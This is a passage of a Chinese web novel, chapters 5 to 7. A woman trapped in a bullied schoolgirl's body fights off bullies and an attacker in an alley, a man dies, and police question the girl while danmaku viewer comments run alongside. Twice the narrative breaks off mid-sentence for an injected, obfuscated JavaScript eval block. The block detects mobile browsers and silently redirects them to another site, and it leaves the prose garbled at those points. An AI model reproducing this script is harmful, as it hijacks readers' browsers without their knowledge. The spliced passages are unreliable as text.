仿佛为了映照着弹幕的话一般,谢柏雅能清晰地感受到身体的控制权在渐渐流失,就在她伸手举着蜘蛛逼近李凯亮的最后时刻,方映秋的意识再度主导了身体。 而在方映秋拿回身体控制权的第一件事就是…… “啊啊啊啊啊蜘蛛啊啊啊啊啊!!!” 于是,整个班级所有人就见上一秒还淡漠又凶狠地逼着李凯亮吃蜘蛛的“恶女”,下一秒突然一个大变脸,看着自己亲手拿着的蜘蛛,吓得面如土色,“唰”地一下落下泪来! 众人:…… 谢柏雅:………… 而最惨的还是李凯亮,他被吓得跪倒在地,刚刚谢柏雅正拿着蜘蛛居高临下地看着他,方映秋掌控身体后,被手上的蜘蛛吓得三魂没了七魄,下意识一松手—— “啪”一声,被拍扁的蜘蛛掉在了李凯亮脸上。 “啊啊啊啊啊啊啊啊啊我***方映秋!你个臭**!!!” 蜘蛛擦着他的脸,再度掉进了他的衣服里。 [哈哈哈哈哈哈哈哈哈什么东西,这一集是什么《与蜘蛛共舞》吗?] [哈哈哈哈哈霸王花的反杀很爽,但小白花的反应也好好笑,怎么一遍害怕还一边坑人呢!!] 方映秋看不到弹幕,她已经被手上的蜘蛛吓得不轻,几乎是连滚带爬地回到了自己座位上,将自己缩成了一个鹌鹑。 ——这本是她在面对欺负后,最常做的事。 但班级里的所有人,这一次却不敢再像平时一样,继续变本加厉地欺负她。 一次震慑,比百次求饶都来得有用。 虽然再度失去了控制权,但谢柏雅看着【死亡进度:79%】的数值提醒,满意地点头。 至少,再次降下来了。 下一秒,略带严厉的声音从教室前门响起:“吵吵什么!开始晚自习了!再吵扣分!!” 【死亡进度:81%】 看着再次爬升的数值,谢柏雅一怔,抬头,一个熟悉的身影出现在了班级门口。 5. 第 5 章(颠覆性大修) 是校门口帮了她的王胜梅老师,她端着考卷走了进来,一眼就看到了教室里凳倒桌翻的模样,目光在教室中所有人一扫,随即皱眉看向那个大块头。 “苟山!又是你!在班级里打闹违反校规!出去罚站一节课!” “不是我啊王老师!!”苟山这下是真的冤枉,“真不是我!!是、是……” 他看向角落里瑟缩着流泪的方映秋,刚想指着她说是她干的,但一想到刚刚这懦弱女生眸中闪出的冷光,寒气打心底里冒了起来。 “那你倒是说说,是谁?”王胜梅老师问道。 “是、是……”苟山看着方映秋,就见哭红了眼的方映秋也抬头,目光对上的那一刻,苟山突然打了个寒颤。 ——虽然她现在哭得很可怜,但校门口那一脚,还有刚刚在教室里的模样已经深深地刻在了苟山心理。 现在就算方映秋哭着看向他,他也只会觉得对方在故意博得老师同情!真要把她供出去了,那等老师走后,她一定会向他发泄!! 于是他把话咽回肚子里,不发一语,挪到走廊罚站去了。 [哎呦我去,第一次看到这狗东西露出这么怂的表情哈哈哈] [三十年河东三十年河西!莫欺方姐穷!!] [话说你们还分得清小白花和霸王花吗……见过方姐两次动手,现在就算看到她哭,我都觉得她下一秒得暴起反杀!] [+1,震慑效果太强了!就该这样!方姐威武!!!] 晚自习开始,王胜梅在讲台上批卷子,其余人在下面做作业,方映秋接管了身体,谢柏雅也终于有安静的时间好好思考一下目前的处境。 她穿进了一个莫名其妙的游戏里,根据弹幕来看,这里似乎还不是“现实”。 在游戏里,她需要完成任务,而任务的那八个字,其实可以拆成两部分。 捍生者权——目前看来,似乎是要捍卫这个身份,也就是方映秋作为“生者”的权利。也就是说,她得让方映秋活着,还得好好活着。 原主方映秋是个遭受了严重霸凌的人,她的死亡进度(目前推断来说,就是自杀倾向)也与这些霸凌有关,遭受霸凌,会导致进度升高,而只要谢柏雅为方映秋出头,欺负回去,就能降低进度。 就目前情况来看,“捍生者权”,她似乎慢慢在做到了?虽然不觉得只是这些小打小闹的报复就能轻松完成游戏任务,但至少这部分,她在稳步推进。 但任务后半部分的“替死者言”……谢柏雅却拿不准。 首先,她的附近压根没出现死者,不过结合副本名字里的“连环自杀”,或许拥有“自杀倾向”的不指方映秋一个? 那她之后要做的,是不是就是找出那些有相同倾向的人? 还是说……在她之前已经出现了死者,而她作为玩家的任务,是替那些死者找出真相?所以才有了后面【真相进度】这个数值? 这八个字实在是太笼统了,笼统到谢柏雅只能根据字面意思去猜,她得到的信息又太少,根本无法得出明确推断。 更何况她现在被迫和这具身体共同行动,还只能偶尔控制一下行动,根本无法收集有效信息。 说起来……这两次她能控制身体,都几乎是在“方映秋情绪波动巨大”的时候,难道她以后也只能在这种时候才能掌控身体? 但每次方映秋情绪波动,都出现在“被欺负”以后,这时她的死亡进度已经爬高了,她就算能帮她反欺负回去,每次也只是把进度再次降下拉平而已,根本无法起到实质性的降低。 到底该怎么完成任务?难道要她把【死亡进度】降到零才算? 晚自习的两个小时难得地风平浪静,大概也是老师在这里坐镇的原因,下课铃一响,同学们纷纷收拾东西,三三两两结伴往寝室走去。 谢柏雅渡过了这难得平静的两小时,跟着方映秋形单影只地回到宿舍,打仗般地洗漱后,在室友们无视甚至讥讽的目光中,缩回了自己的床帐里。 她早就想到,能在班级里被这么欺负的方映秋,在寝室里大概也不太好过,但好在这个点学习了一整天,大家都困得不行,没有心思再搞事了。 谢柏雅却本能地觉得,事情不该这么轻松。 果然,就在方映秋爬上床,给自己盖上并不保暖的被子,又把校服搭在身上时,一张纸条从她口袋里滑落。 那是一张用打印机打印的纸条,边线上还晕了一道长长的墨迹。 “不想让人知道你的脏事,今晚十一点半,校外小吃巷见。” 谢柏雅终于看到了关键词——脏事。 她有预感,这或许会和促使方映秋想要自杀的事有关。 如果放在现实里,谢柏雅会建议方映秋不要去。 ——毕竟在那些侦探剧里,收到这种纸条后还傻乎乎去赴约的,十个里面九个成了被害者,剩下的那个成了背锅侠。 但这是游戏,而且,她在前面已经大致推断出,自己能掌控身体的关键,是方映秋的情绪波动。 这么一想,谢柏雅便没那么顾虑了。不管怎么说,重要的线索放在眼前,没有不去调查的道理。 * 23:30,校外的小巷深处。 如今虽然已经是春末,但半夜的风还是让穿着单薄的方映秋瑟瑟发抖,她裹着并不厚的校服,亦步亦趋地走到了小巷中。 深夜的暗巷,就是成年人来都心里发毛,更何况是方映秋。 她捏着拳头,一边给自己壮胆,一边扬声:“你、你在了吗?” 回应她的只有呼呼的风声。 “我、我来了,你、你在哪?” “吱呀”一声,一只老鼠从方映秋脚下穿过。 “啊!”方映秋犹如惊弓之鸟般,赶忙往旁边一跳,差点撞上旁边的墙壁。 [我去,就这胆子,还敢在深夜赴约?还是这种一看就会出事的地方?] [来了来了,听说这次的玩家是个反差巨大的霸王花,剧情到哪儿了?] [诶?到这儿了吗?我的天,她这个胆子,怎么敢半夜来这种鬼地方见人的啊!] [难道又是霸王花控制了身体?按照霸王花的性格肯定会正面硬刚!] [不好说……感觉霸王花的出现时有时无的,至今不知道人格切换的开关,所以其实还是被契合度压制了吧?] [这不废话,看霸王花的性格,要是没有契合度的事,她大概直接拿着把刀就嘎嘎乱杀。] 谢柏雅:……虽然如果没有契合度的话,她确实很想自由行事,倒也不必把她想的那么凶残。 杀人这种事…… 想到这里,谢柏雅难得有些晃神。 她的眼前再次闪过那个场景—— 她站在满地鲜血中,右手中突兀出现的匕首尚在淌血,从她的指尖一点一滴地滑落,蜿蜒至她的脚下。 那人躺在她脚下,汩汩鲜红从胸口的血洞中涌出,双目紧闭,呼吸全无。 “当啷”一声,匕首掉地,她跌跌撞撞地向着那具尸体跑去。 地上那具了无生气的尸体只是静静地躺着,没有挪动分毫,她却怎么也跑不到他身边,仿佛是一处她永远无法到达的彼岸。 “……阿竹……明竹!” 下一秒,如今这具身体遭遇的变故将她的思绪强行拉回。 “啊!谁!” 方映秋的尖叫响起,谢柏雅通过她的眼睛,看到了一个染着黄头发的细狗正朝她扑过来! 虽然深夜的小巷光线阴暗,但谢柏雅记得这张脸,是白天在校门口的那堆混混跟班中的一个! 是他约方映秋出来的?他到底知道方映秋什么“脏事”? 但此刻谢柏雅已经顾不得这么多,扑过来的这个男人看上去并不正常,像是喝多了酒醉了似的,行动摇晃,脚下也十分不稳当。 他似乎在看到了方映秋的背影后,就这么猛地一扑,要不是方映秋身体瘦弱,怕也不会给这人扑倒。 两人滚落在地上的水沟中,污水溅上方映秋的脸颊,男人压在她的上方,似乎在认真辨别她的长相。 “……是你……”他从喉咙里发出含糊的声音,“草……也行,给老子……爽最后一把!” 他死死压住方映秋,根本不需要什么搏斗技巧,光凭体重便将瘦弱的方映秋按的死死得,方映秋“呜呜”的哭叫和救命声也被他一把按没。 按住她嘴巴的手湿漉漉的,方映秋一边哭叫一边推搡,那手太大,又慌乱间把她的鼻子一起压住,这下她连呼吸都困难了起来。 【死亡进度:83%】 【死亡进度:85%】 …… 【死亡进度:90%】 【检测到玩家处于窒息状态,当死亡进度推进到98%时,会失去对身体的掌控权。】 失去掌控权,在窒息的情况下就死定了! 谢柏雅奋力挣扎,终于在死亡进度推上95%的时候,接手了这具身体。 她伸出颤抖的手,摸到了一早就看好的角落中的一块砖石,艰难地握在手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428679|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 那个男人几乎将全身的重量压在了她的身上,谢柏雅伸手勉强比划了一下,随即照着她记忆中人体脑后并非致命的部位,抄着砖石狠狠一砸! “啪”一声,温热的液体溅出,身上的人终于不动了。 她勉强挪开了身上那个瘫软的身体,呼吸再度回笼,她后知后觉地意识到血腥味覆盖了整个鼻尖。 瘫软在她身上的躯体不再动作,谢柏雅拖着这具身体,废了九牛二虎之力,才把那个昏迷的混混给从身上掀下去。 她躺在地上,喘着气,终于顺过了呼吸,重新爬了起来。 而弹幕已经炸了无数条,几乎都是“卧槽”“666”“牛逼”这种无营养的刷屏,也有几条聊歪的。 [等等……我去!原剧情这里,被害人不该是哭哭啼啼叫救命吗!这玩家怎么暴起了!] [卧槽直接抄着砖头给人开瓢啊!!这也太顺手了吧!!] [有人注意到方姐是故意照着不致命的地方打过去的吗……就这专业程度和把控力道,方姐现实里……] [嘶……突然细思恐极。] [无所谓,反正都进入这个游戏了,现实里怎么样还用管它?她能在游戏里替我们声张正义就好!] 谢柏雅现在喘的头晕眼花,过度缺氧导致眼前发黑,好在已经把那男人给打晕了,才给她足够的时间休息。 终于休息够了,她扶着墙壁站起来,随即伸脚踹了踹地上摊成死肉的男人。 “喂。” 男人没有反应,谢柏雅叹了口气,她撑起身,四处找了找有没有工具。 [等等,不是打晕人跑就行了嘛?她在干什么?] [她在找桶?卧槽她接了水!她走过去了!她要干什么?] [卧槽泼上去了!!她干啥?要把人泼醒吗?泼醒了不会再对她动手吗?] [有没有可能……方姐自信能反杀他一次,就能反杀第二次。] [所以她是想把人泼醒后……逼供??] [……!!!] [别人拿受害人剧本:哭哭啼啼地赴死。方姐拿受害人剧本:反杀、敲晕、泼醒、逼供一条龙!] 谢柏雅确实想把人泼醒问些线索——毕竟她实在对纸条上的“脏事”耿耿于怀。 但她都一盆水泼下去了,对方连动都没动,连被泼水后下意识的一个激灵都没有。 ……是不是有点不对? 谢柏雅心里有了些不好的预感,她放下桶,蹲下身,将面朝下的男人翻了过来。 巷内光线昏暗,她看不清对方的脸色,但阴影中的身躯影子没有了起伏。 ……没有了起伏? 谢柏雅心中一惊,蹲下身,伸出手指探到男人的鼻子下面,没有呼吸。 她再度伸手,抓住男人的手腕,顿了两秒,脉搏也停了。 这个人……死了!? 她杀人了!? 这个念头在心中一出,她脑中“嗡”地一声,仿佛又要陷入那个噩梦去,但她立刻意识到了大事不妙。 ——如果方映秋心绪剧烈波动,能让她接管身体,那她心绪波动呢? 果不其然,下一秒,她再度失去了身体的掌控权。 于是,重新掌管身体的方映秋看着眼前瘫死的尸体,理所当然、不负众望、自然而然地—— “啊啊啊啊啊啊啊啊救命啊杀人啦!!!!” 谢柏雅:…… 弹幕:…… 谢柏雅:……她就该在最后一秒的时候,也给自己拍一板砖的……真是要命。 而更要命的是,她以为这个小巷僻静,现在又是深夜,大概不会有人经过。 但此刻,快跑的脚步声从小巷口传来,听声音,是运动鞋,只有一个人,但……不出意外的话,是个男人。 “出什么事了?!” 刺亮的手电筒光打在方映秋脸上,她也看清了逆光的男人身影。 他像是从口袋里掏出了什么,递到她眼前:“我是警察,这是证件,怎么了小妹妹?别害怕!没事的!” ——你是警察才有事啊! [等等等……这现在是什么剧情?我怎么突然跟不上了?] [你醒啦,方姐反杀了对她图谋不轨的反派,物理意义上的反杀。] [然后小白花接管了身体,一嗓子把警察叫了过来。] 她刚刚“杀”了人,尸体就躺在自己旁边,面前站着警察。 ……还有比现在更糟糕的情况吗? 6. 第 6 章(颠覆性大修) ……还有比现在更糟糕的情况吗? 谢柏雅很难想象,但下一秒,她就见识到了。 面前那个打着手电的警察从口袋里掏出纸巾,替她擦掉了脸上一部分斑驳的血迹,勉强将她的容貌露出来一部分。 下一秒,那警察突然一怔,随即惊讶道:“谢、谢柏……” 谢柏雅:!? 这下她是真的一惊:这警察认识她? 而且,不是游戏里这具身体“方映秋”,而是她现实里的身份……谢柏雅? 谢柏雅借着手电筒些微的光线,勉强打量着面前的警察。 他看着很年轻,最多不超过三十岁的模样,脸庞轮廓分明,浓眉挺鼻,黑眸深处敛着精光,是十分周正英气的长相。 但谢柏雅很肯定,她在现实中没有见过他。 而根据她的情况判断,虽然玩家进入游戏后身份卡不同,但游戏中的长相还是继承了现实的长相,只是改了抽到的角色的“名字”而已。 ——所以,这是一个在现实中认识自己,但自己却不认识的人? 还是说……他其实存在于自己“丢失”的那段记忆里? 她看了一眼那警察证件上的名字,石兴旭,但这名字多半只是副本角色名。 石兴旭似乎也意识到了他们现在是在一个特殊的游戏里,还有弹幕实时观看,于是只是喊了前两个字,便掐断了话。 谢柏雅察觉到,他也开始仔仔细细地打量起了自己,大约是在判断自己是不是他认识的“谢柏雅”。 但很可惜,这副身体现在已经被方映秋接管了,小姑娘怕得真情实感,哭得肝肠寸断,看上去比地上的被害者还惨。 石兴旭看了她许久,终于还是垂下眼,克制住了自己拿着手电的手——自从看到谢柏雅的脸起,这只手便开始微微颤抖起来。 他舒一口气,终于确定她不是“谢柏雅”,大概只是个长得很像的、游戏中的npc罢了。 毕竟他印象中的谢柏雅,从来不会哭成这副模样。 而且,眼前这个少女的眼神,和他记忆中的谢柏雅截然不同。 那是一双他所见过世间最独一无二的双眸,面前这个游戏npc的眼神中没有丝毫和谢柏雅相像的地方。 当然,这或许也出于对方绝佳的演技——但以他的了解,谢柏雅不屑于扮演其他人。 石兴旭终于把面前的方映秋当成了普通的受害者对待,他低声安慰着她。 “好了,别害怕,我是警察,”他看了看对方身上的校服,“你是这个学校的学生吗?” 方映秋却被吓傻了,只知道一味地哭泣,问什么都是呆愣愣得。 石兴旭想了想,先打电话叫来了警局支援:“……对,这里有一具尸体,应该是蓄意谋杀,叫人来封锁现场。” 说着,他挂断电话,清了清嗓子,试图放柔声音,“别害怕,我一回儿让我同事先送你回去……我是说,先回警局,做个口供,好不好?” 看石兴旭的表现,目前似乎还没有把她当做“凶手”来看待。 毕竟方映秋无论是外形还是性格,确实十分有迷惑性,身形的巨大差异再加上这幅模样,实在不像能杀死地上这个男人的样子。 最重要的是,这里是一条僻静的小巷,现在又是深夜,如果真的是她杀了人,她大可以直接逃跑,而不是站在尸体边,一嗓子把警察嚎过来。 如果不是她刚刚的尖叫,石兴旭根本不会出现。 ——看来就算已经穿越到了游戏世界,这位警察玩家的脑洞也没有大到将“精神分裂”考虑进案件可能性里。 就这样,石兴旭初步排除了方映秋的嫌疑。 大约十多分钟后,警车呼啸着前来,石兴旭已经初步勘查了案发现场,他看了看四周,走到一名女警身旁低声道,“李警官,麻烦你带这名学生回警局录口供。” 这孩子看上去像是吓坏了,这时找一名女警或许能让她放松一些。 女警听到方映秋的情况后,她点点头,甚至靠过来之前先把身上的制服脱下架在手上,就是怕小姑娘产生畏惧。 女警本想给她套一件外套,但见他身上已经有了石兴旭外套,便作罢。 “别紧张,我姓李,李思弦,你叫我李警官就好,我先带你回警局处理一下伤口好不好?” 方映秋抽泣着点头,还是有些害怕,但到底没有抗拒。 李思弦警官将方映秋接进警车,一路上也在不停地安慰她,甚至还翻出了一个保温杯,拿了一个纸杯倒了些许,里面是温度正好的热水。 方映秋接过保温杯,喝了两口,却被呛得直咳嗽。 终于,警车在警局门口停住,李思弦扶着她走下车,不过没有着急先录笔录,而是先将她带进了警局的卫生处。 “王姐,快来看看这孩子。”她招呼着卫生处坐镇的女医生。 王医生正在整理档案,一回身,看到这样的方映秋,目光露出疼惜,赶忙招呼她过来坐下处理伤口。 “哎呦,伤成这样……这是哪个受害者?” 李思弦摇摇头,“是一起案件的目击者……当然,也可能是另一个被害者。” 王医生将她引去内室,轻轻将她的外套解下来,仔细替她清理伤口。 方映秋身上大伤小伤不少,一些新鲜还在渗血的,是刚刚和那混混缠斗时落下的,一些不再渗血,却还没愈合好的,是白天被那些混混敲诈勒索时留下的,甚至胳膊大腿上还有些明显的青紫,像是被人暴力踢打所致。 轻柔地帮她处理完伤口,王医生摇摇头,目露不忍:“这孩子……” 李思弦这时倒了杯蜂蜜水来,清甜的气味本该抚平她的神经,但方映秋实在被刺激的不轻,一口甜味下肚,想到刚刚那摊死肉一样的尸体,突然肠胃翻腾,跑到角落垃圾桶边,“哇”地吐了出来。 这是普通人见到尸体后的正常反应,两人已经见怪不怪,王医生抚着她的脊背让她吐得舒服点,李思弦再次接了杯没有蜂蜜的热水,放在旁边备着。 “好了好了,吐出来就好了。” 但方映秋今天本就没吃多少东西,晚饭的时间在被混混勒索,午饭吃得也不多,早就消化完了,只能勉强吐着胃酸,最后终于吐无可吐。 看着小姑娘愈发苍白的脸色,李思弦摸了摸她的头,“来,喝点水,或者要不要喝点盐水?” 方映秋抽噎着喝完一杯水,终于第一次开口:“我、我饿……” 谢柏雅一开始就注意到,这具身体家庭看着不太宽裕,校服样式明显不合身,连胸口的铭牌都有拆掉重新缝制的痕迹,说明多半是收的二手旧校服。 方映秋的学习用品也几乎都是二手的,草稿纸上的字迹都很小,明显在节省着使用。 ——并不宽裕的家庭,被霸凌和传谣的处境,还有言语间试图阻止她读书上进的父母……称一声“地狱开局”也不为过。 李思弦显然也凭借专业素养多少侧写出了方映秋的情况,她再次摸了摸她的头,“好,你刚吐完,不能马上吃东西,先休息一下,一会儿我们去做笔录,做完姐姐请你出去吃饭!” 方映秋摇头,“馒、馒头就好,我、我可以付钱的!” 即使饿成这样,她也记得父母教过她,不能无缘无故收别人的东西,包括请客吃饭。 李思弦无法,就暂时先不提,等她终于平复了一些后,将她带进了问询室。 前面几个问题,是例行询问的身份信息,方映秋一一回答,等到问到她和被害人是否认识时,方映秋缩了缩脖子,似乎想起了害怕的事。 “他、他经常出现在我们学校门口,问、问我们要钱。” 这与他们初步调查的信息也差不多,这是校门口专门收保护费的一个小混混,由于是少管所的常客,查他的身份几乎没有费警察多少力气。 李思弦边记边放柔声线,“你今晚发现尸体的时候,现场是什么样的?” 这话一出,方映秋的脸色又白了几个度,连嘴唇都没有了颜色。 “我、我不记得了,呜呜呜……” 李思弦的手一顿,在遭遇重大变故时,人脑可能会出现保护性的失忆,这也是凶案目击者常有的症状。 她叹了口气,递给方映秋一张纸巾,让她擦泪。 看到这里,谢柏雅终于略微放松了一下绷紧的神经。 她之前就发现,在她短暂接管身体的时候,方映秋似乎没有“记忆”——不然之前她报复李凯亮时,她也不会被自己手里的蜘蛛吓一大跳。 但这还不够。 毕竟,接到纸条、答应赴约都是方映秋自己的人格做出的决定,甚至刚开始被这小混混扑倒时,谢柏雅也还没来得及接管身体。 而这姑娘看着就不像擅长说谎的样子,如果警察再问一下去…… 果然,李思弦等她哭完,又给她倒了杯水,这才继续询问。 “那你还记不记得,今天为什么会在这个时间,出现在那个地点?” 她还是在校的学生,半夜翻墙出校门,去到那个小巷里,一定有特殊的原因。 来了!这个问题! 谢柏雅暗暗替她捏了一把汗,如果方映秋把纸条和赴约的事说出来,嫌疑可就直线上升。 “呜呜呜呜……我不记得、真的不记得了呜呜呜呜呜……” 但方映秋只是哭,凄惨地哭,她将脸埋进自己的双手掌心中,甚至仿佛再度回忆起尸体的模样,又开始恶心呕吐了起来,连带着之前喝的两杯热水都吐了出来。 实在没办法,询问只能暂时中止,李思弦将她带到休息室,将王医生又叫了过来。 王医生打着手电看了看她的瞳孔,又问了几个问题,最后的诊断是:“非常典型的逆行性记忆缺失症状。” 她叹了口气,“这姑娘的头被猛烈撞击过,身上也有多处伤口,口鼻处还有被捂住强行窒息的痕迹,看力度,一不小心就会致命……经过这样的刺激,产生逆行性失忆很正常。” [卧槽,这小白花看着也不简单啊……这是在装傻吗?] [不能够吧,这副本我看了好几次了,这张角色卡就是纯纯的小白花,白到犯蠢,但凡有一丁点心眼,也不至于达到那样的结局。] [难道真的是失忆了?……按照小白花的性格来说,好像也正常?] [有没有可能……现在是方姐在扮演小白花啊?她演成小白花的样子,好躲过警察的追问?] [有可能!你们看刚刚小白花哭的时候,把脸都捂起来了,是不是怕被发现表情不对?] [+1,我宁可相信是小白花失忆,或者是方姐扮演小白花,也不相信这小白花有这样的心机,这也太OOC了啊!] 弹幕上讨论得热火朝天,这也是谢柏雅如今有些疑惑的点。 刚刚的一切自然不是她扮演的,不过她仍能从这具身体里感应情绪,但多是些激动的情绪,如今方映秋的情绪十分“后怕”。 但这种情绪,不管是用“记得自己杀了人所以后怕”,还是用“不记得发生了什么,一睁眼就站在了尸体边所以后怕”,都能解释。 她拉开系统面板,看到死亡进度的数值已经降到了75%,已经比她刚刚接入这个世界的数值还要低了。 看来,她的努力还是有成果的。 就在这时,休息室的门被敲开,石兴旭警官敲门进来,向一路陪着方映秋的女警示意了一下,“李警官,方便吗?” 谢柏雅注意到,对方的目光不止一次扫到自己。 李思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428680|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弦将纸巾放到方映秋手上,柔声道:“我出去一下,你再休息会儿,一时想不起来不用逼迫自己。” 李思弦警官跟着石兴旭走出了休息室,石兴旭站在门口,隔着单向玻璃,看着房间内的谢柏雅——她正坐在硬质座椅上,双手握拳,有些僵硬的姿势,神态也十分不安,十足十一名不小心被卷入案件的高中生的反应。 石兴旭开口问李思弦:“那个高中女生……你问下来怎么样?” 李思弦摇头:“目前来看,和案件应该有很强的联系,但应该不是凶手——她对尸体的反应都很真实,身上的伤也都是货真价实的,看上去差一点就要被捂死了,而且小姑娘体型瘦弱,和死者有绝对的力量差距。” 石兴旭沉吟片刻,“现场有很多古怪……这姑娘,不能排除嫌疑。” “怎么说?”李思弦一愣:“是凶器确定了吗?在这小姑娘的附近?” 石兴旭摇了摇头,“尸体送去法医室了,凶器目前初步推测应该是刀具,但不在案发现场附近。” “刀?” “对,他被人从后面捅了一刀,正中肺部,血量呛进气管,再加上失血过多,才会死亡的。” 李思弦目光看向休息室:“石队是在怀疑……是方映秋捅得他?” 石兴旭这回顿了一下,似乎在思考,但最终还是又摇了摇头,“案发现场附近没有找到凶器的痕迹,我赶过去的时候,尸体还是热的,死亡不超过十分钟,目前已经按十分钟路程在附近排查了——不过,我倾向于致命一刀不是方映秋捅的。” 李思弦看向队长,显然听出了弦外之音,“石队还想说……但是?” “但是,她应该对他造成了其他伤害。我检查过尸体,除了致命伤以外,脖子连接的后脑这里,”石兴旭在自己脑袋后面比划了一下,“被人用力敲打过,东西在案发现场找到了,是一块附近的石砖。” “有没有可能,是死者走到附近,倒地时撞到的?” “不排除这种可能,但那块砖、包括整个尸体,都被人泼了水,导致砖上只能检测出血迹,但无法查验指纹。” 血迹可以用鲁米诺检测,就算洗去都可以查出来。 但砖头表面本就崎岖,要提取指纹只能靠运气,更何况还被水淋过,这下彻底无法提取指纹了。 “泼水的东西也查到了,应该是旁边公共厕所的水桶,接了水过后来泼的——也就是说,就算那致命一刀不是方映秋捅的,但她很可能先用砖头击打了死者,然后很谨慎地用水冲洗掉了死者身上的痕迹,还有砖头上自己的指纹。” 李思弦想了想,还是摇头,“说不通……先不说她只是个瘦弱的小姑娘,如果她真的能办到这一切,就代表她有超乎寻常的心理素质,在看到死者死后还能冷静地想着毁灭证据——那她更应该做的,是直接将砖头带走销毁,自己也一并离开现场,这样尸体最早也要到明天早晨才能发现。但按照你的说法,你是听到她的声音才过去看到尸体的,对吗?” 这些其实也是石兴旭的顾虑,更是他从一开始便排除方映秋的原因。 毕竟,一个冷静到记得销毁证据的凶手,不会不记得直接销毁凶器,更不会在错漏百出的情况下,特意大叫引来其他人。 石兴旭沉默片刻,总结到:“总之,这姑娘大概率不是凶手,但应该和整起案件有很深的关系,现在只能一边调查,一边等她回忆起来。” 说到失忆的问题,他突然眸光一闪:“这个逆行性失忆……确诊了?” “正式确诊要去常规病院,但做出这个诊断的是王姐。” 石兴旭点头,王医生是他们警局借调的一名医生,能力有目共睹,如果这女孩儿真的能厉害到连王医生的眼睛都骗过,就更不会犯那么多低级错误了。 与此同时,在案发后终于有时间一个人待着的谢柏雅,也终于从记忆中捋清了部分真相。 ——那个混混的死因,大概率不是她拍的那一板砖。 他在最初走入小巷的时候,看上去就神志不清脚步虚浮了,她一开始以为他是喝醉酒,但或许,他那时候就受了伤。 后来她在拍下板砖前,那人就已经没有了太大动静,只是当初环境太暗,她又无法完全控制身体,这才出现了判断失误。 想清楚这一点,谢柏雅微微舒了口气,如果是这样的话,其实倒是可以和警察说明情况——虽然可能还是会落个过失伤人的罪名,但她身上也有伤,等去验了伤记了档,多半就只是正当防卫了。 不过她无法和“方映秋”的意识取得联系,看来只能等下一次再掌控身体时,再进行这一切。 就在这时,休息室的门再次被敲响,李思弦警官拿着一袋面包走了进来,拆开了包装、冒着热气,看得方映秋的肚子“咕噜噜”叫了起来。 “饿坏了吧?先吃点面包。” 方映秋咽着口水,却还是推拒,“馒、馒头就行……” “这是我抽屉里快过期的面包,姐姐最近在减肥,你就当帮我个忙,帮我解决掉它?”李思弦坐到她身边,将面包和一袋牛奶一起递给她。 方映秋听着这话,犹豫半晌,最终终于道谢后,狼吞虎咽起来。 李思弦拍着她的背,“慢点吃,慢点吃,不够姐姐那儿还有。” 这时,又有一名警员敲门走了进来,“李姐,这位同学的老师接到通知,已经到了。” 方映秋闻言,噎了一下,呛咳起来。 “你这孩子,来,喝点水……” 正在方映秋手忙脚乱喝水时,两位女老师从外面走了进来。 “方同学,我们来接你了!你没事吧!” 是那位疑似玩家的徐婉老师,而她身后跟着的,是王胜梅老师。 【死亡进度:78%】 7. 第 7 章(颠覆性大修) 如果说上一次这死亡进度的莫名上涨,谢柏雅还无法确定原因的话,这一次她很肯定,几乎是在方映秋看到王胜梅老师的那一瞬间,这数值就跳了上去。 她很确信,这个死亡进度和王胜梅老师有关。 但是,为什么? 难道王胜梅老师,是“导致方映秋想要自杀”的关键人物? 正在她思考间,徐婉和王胜梅已经迎了过来,两人看着方映秋身上的伤口,心疼之色溢于言表,而谢柏雅细细观察了王胜梅的表情——并不像作假。 那她为什么会和方映秋的死亡有直接关系? 警察和医生已经简短地向两位老师介绍了情况,听到“夜间离校”的事情时,王胜梅老师的表情不太好,但李思弦警官飞快补充道:“方映秋同学已经受了很大的刺激,希望老师能注重心理疏导,如果可以的话,请尽快联系一下她的父母,带她去医院做个全面检查。” 等到警察和医生都离开后,王胜梅拿出手机看了眼时间,“现在这个点,挂个急诊应该还来得及……” “我不去医院!”方映秋似乎又突然受了刺激,“我不去!我不去!……我不能去医院……”她再次开始哭泣,“不要通知我的父母……呜呜呜呜……他们、他们会嫌我多事,不让我、不让我、不让我读书了……” 这反应与白天的时候,王胜梅让她去报案的情况如出一辙。 王胜梅似乎也清楚方映秋家里的情况——即便是在当代社会,过了义务教育阶段后,也有不少父母不愿意继续供养孩子学习,尤其是女生。 “……好吧,先回学校。”王胜梅叹了口气,暂且妥协。 “王老师,”徐婉开口,“她现在回宿舍的话,很可能会吵醒其他同学,要不去我教师宿舍那里住一晚?” 王胜梅愣了愣——她倒是没考虑到这一点,现在已经凌晨,回到宿舍亮灯洗漱,确实可能会影响其他同学休息。 “去我家吧,”王胜梅道,“徐老师的教师宿舍是单人间,再多住一个也很打扰。” 徐婉顿了顿,她本想留着方映秋这位关键人物问一下线索,但王胜梅的提议又实在没有理由反驳。 谢柏雅倒也想跟着徐婉回去,但奈何此刻方映秋情绪不怎么激动,她也只能跟着王胜梅走了。 王胜梅的房子就在学校附近的小区,独居的三室房,但奇怪的是,当车开进小区的时候,谢柏雅却明显感受到方映秋情绪的波动。 ——她开始感到害怕与抗拒,似乎这个小区对她而言,是个非常不好的地方。 这样的情绪,在看到王胜梅掏出钥匙打开家门时,愈演愈烈,甚至几乎达到了之前碰到小混混时的波动幅度。 难道……死亡进度不单单是和王胜梅有关,还和王胜梅住的小区和房子有关? 